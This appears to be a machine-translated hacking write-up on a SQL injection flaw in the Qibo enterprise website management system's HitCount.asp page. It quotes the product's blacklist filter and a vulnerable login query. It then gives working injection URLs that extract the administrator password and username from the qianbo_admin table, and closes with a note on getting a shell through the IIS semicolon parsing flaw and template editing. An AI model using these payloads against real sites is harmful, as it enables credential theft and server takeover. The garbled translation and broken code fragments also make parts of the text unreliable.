Qibo enterprise website management system HitCount. Asp page Injection Vulnerability

 
All programs are added with anti-injection code. In the NoSql. asp file, 7kccopyd-code
<%
If EnableStopInjection = True Then
Dim Fy_Post, Fy_Get, Fy_In, Fy_Inf, Fy_Xh, Fy_db, Fy_dbstr
Fy_In = "'|; | and | exec | insert | select | delete | update | count | * | % | chr | mid | master | truncate | char | declare"
Fy_Inf = Split (Fy_In, "| ")
If Request. Form <> "" Then
For Each Fy_Post In Request. Form
For Fy_Xh = 0 To UBound (Fy_Inf)
If InStr (LCase (Request. Form (Fy_Post), Fy_Inf (Fy_Xh) <> 0 Then
Response. Write "<Script Language = 'javascript '> alert (' warning: the parameter is invalid! '); </Script>"
Response. End
End If
Next
Next
End If
If Request. QueryString <> "Then
For Each Fy_Get In Request. QueryString
For Fy_Xh = 0 To UBound (Fy_Inf)
If InStr (LCase (Request. QueryString (Fy_Get), Fy_Inf (Fy_Xh) <> 0 Then
Response. Write "<Script Language = 'javascript '> alert (' warning: the parameter is invalid! '); </Script>"
Response. End
Response. End
End If
Next
Next
End If
End If
%>
The cookie is not filtered, but the program limits the integer type when passing in the variable, so I cannot.
Continue.
MemberLogin. Asp
Dim LoginName, LoginPassword, VerifyCode, MemName, Password, GroupID, GroupName, Working, rs, SQL
LoginName = Trim (request. Form ("LoginName "))
LoginPassword = Md5 (request. Form ("LoginPassword "))
Set rs = server. CreateObject ("adodb. recordset ")
SQL = "select * from Qianbo_Members where MemName = '" & LoginName &"'"
Anti-injection code is not added, but it is the logon verification page. If it is an MSsql database, we can do it better.
At this time, we found in the HitCount. Asp file that the file did not call anti-injection code.
<%
Dim rs, m_ SQL
Dim m_ID
M_ID = ReplaceBadChar (Request. QueryString ("id "))
M_LX = ReplaceBadChar (Request. QueryString ("LX "))
Action = ReplaceBadChar (Request. QueryString ("action "))
If action = "count" Then
Conn. Execute ("update" & m_LX & "set ClickNumber = ClickNumber + 1 where ID =" & m_ID &"")
Else
M_ SQL = "select ClickNumber from" & m_LX & "where ID =" & m_ID
Set rs = conn. Execute (m_ SQL)
Response. Write "document. write (" & rs (0 )&");"
Rs. Close
Set rs = Nothing
End If
%>
This is the file. Let's construct the injection statement.
As follows:
Get management password:
Http://www.bkjia.com/hitcount. asp? Lx = Qianbo_about & id = 1% 20and % 201 = 2% 20 union % 20 select % 20 password % 20 from % 20qianbo_admin
 
Get management account:
Http: // 127.0.0.1/hitcount. asp? Lx = Qianbo_about & id = 1% 20and % 201 = 2% 20 union % 20 select % 20 adminname % 20 from % 20qianbo_admin

Access http: // www. ***. com/sitemap. xml in the background!
SHELL:
IIS asp; the semicolon parsing vulnerability still harms many people. qibo enterprise website management system still uses SHELL in the background to modify the template *. asp.


Author's Blog